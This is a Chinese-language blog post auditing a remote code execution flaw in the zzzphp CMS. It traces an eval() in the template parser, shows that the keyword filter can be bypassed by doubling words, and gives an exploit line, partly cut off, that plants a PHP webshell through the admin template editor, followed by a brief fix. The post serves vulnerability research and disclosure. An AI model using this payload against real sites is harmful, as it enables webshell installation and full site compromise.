zzzphp 远程代码执行审计

Y4er 收录于 类别 代码审计

2019-08-21 2019-08-21 约 1252 字 预计阅读 3 分钟

目录

> **警告**
>
> 本文最后更新于 2019-08-21，文中内容可能已过时。

又看到了cnvd中的一个有趣的洞!

1 zzzphp

> zzzphp是一款php语言开发的免费建站系统，以简单易上手的标签、安全的系统内核、良好的用户体验为特点，是站长建站的最佳选择。

晚上8点，做完作业发现cnvd报了一个命令执行，本着两天不看代码看不懂的精神赶紧再来看下审计。

2 产生原因

zzzphp的模板是通过自写函数来进行解析的，过滤参数不严谨导致可以执行任意php代码。

3 漏洞分析

程序入口 `index.php` 引入 `require 'inc/zzz_client.php';`

E:\code\php\zzzphp\inc\zzz_client.php:56

PHP

```
require 'zzz_template.php';
if (conf('webmode')==0) error(conf('closeinfo'));
$location=getlocation();
```

引入模板解析类并通过 `getlocation()` 使url和模板关联起来。

91行：当访问 `http://127.0.0.1/search/` 时使用search模板

PHP

```
case 'search':
    $tplfile= TPL_DIR . 'search.html';
```

157行

PHP

```
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
```

实例化解析模板类，调用 `parserCommom()` 方法，跟进

inc/zzz_template.php

PHP

```
        $zcontent = $this->ParseInTemplate($zcontent); // 模板标签
        $zcontent = $this->parserConfigLabel($zcontent); //配置表情
        $zcontent = $this->parserSiteLabel($zcontent); // 站点标签
        $zcontent = $this->parserCompanyLabel($zcontent); // 公司标签
        $zcontent = $this->parserUser($zcontent); //会员信息
        $zcontent = $this->parserlocation($zcontent); // 站点标签
        $zcontent = $this->parserLoopLabel($zcontent); // 循环标签
        $zcontent = $this->parserContentLoop($zcontent); // 指定内容
        $zcontent = $this->parserbrandloop($zcontent);
        $zcontent = $this->parserGbookList($zcontent);
        $zcontent = $this->parserLabel($zcontent); // 指定内容
        $zcontent = $this->parserPicsLoop($zcontent); // 内容多图
        $zcontent = $this->parserad($zcontent);
        $zcontent = parserPlugLoop($zcontent);
        $zcontent = $this->parserOtherLabel($zcontent);
        $zcontent = $this->parserIfLabel($zcontent); // IF语句
        $zcontent = $this->parserNoLabel($zcontent);
        return $zcontent;
    }
```

可以看到这些是zzzphp模板解析，并且使用了自定义模板语句，跟进 `$this->parserIfLabel()` 函数

PHP

```
public function parserIfLabel($zcontent)
{
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if (preg_match_all($pattern, $zcontent, $matches)) {
        $count = count($matches[0]);
        for ($i = 0; $i < $count; $i++) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[1][$i];
            $ifstr = danger_key($ifstr);
            $ifstr = str_replace('=', '==', $ifstr);
            $ifstr = str_replace('<>', '!=', $ifstr);
            $ifstr = str_replace('or', '||', $ifstr);
            $ifstr = str_replace('and', '&&', $ifstr);
            $ifstr = str_replace('mod', '%', $ifstr);
            //echop( $ifstr);
            @eval('if(' . $ifstr . '){$flag="if";}else{$flag="else";}');
            ... 省略
            return $zcontent;
        }
    }
}
```

看到了eval函数，并且有变量 `$ifstr` ，如果它可控，那么我们就可以执行任意代码。

看下他是怎么过滤的， `preg_match_all` 匹配正则，要满足以下格式

PHP

```
{if:条件}
代码
{end if}
```

然后经过一个 `danger_key()` 函数，跟进

inc/zzz_main.php

PHP

```
function danger_key( $s , $len=255) {
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','de
    $s = str_ireplace($danger,"*",$s);
    return $s;
}
```

可以看到使用 `str_ireplace()` 替换了危险关键字，不过只是替换了一次，可以双写绕过。

到目前为止，整个漏洞的构造链已经很清晰了。

修改模板 -> 构造恶意if语句块 -> 访问 `http://localhost/search/` 触发代码执行

4 exp构造

- 问题一：上文提到了可以用双写绕过，但是关键字会被替换成一个 `*` ，我们可以重新用str_replace替换回来
- 问题二： `$` 被替换，没办法用双写绕过，我们用 `get_defined_vars()` 来构造，参考 PHP利用Apache、Nginx的特性实现免杀Webshell

后台 - 模板管理 - 修改search.html，添加一行

```php
{if:1)file_put_contents(str_replace('*','','Y4er.pphphp'),str_replace('*','','<?pphphp evevalal(ggetet_define
```

然后访问 `http://localhost/search/` 然后会在 `http://localhost/search/Y4er.php`

| 5 修复建议

使用 `preg_replace` 过滤关键字而不是 `str_ireplace()` ，严格控制用户输入。

| 6 写在文后

需要登录后台，算是比较鸡肋，不过cnvd还爆了这个版本的注入，有兴趣的师傅可以看一下。

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。

如果你觉得这篇文章对你有所

帮助，欢迎赞赏或关注微信公

众号~

更新于 2019-08-21

code

返回 | 主页

‹ PHP反序列化学习

Laravel v5.8.x Pop Chain ›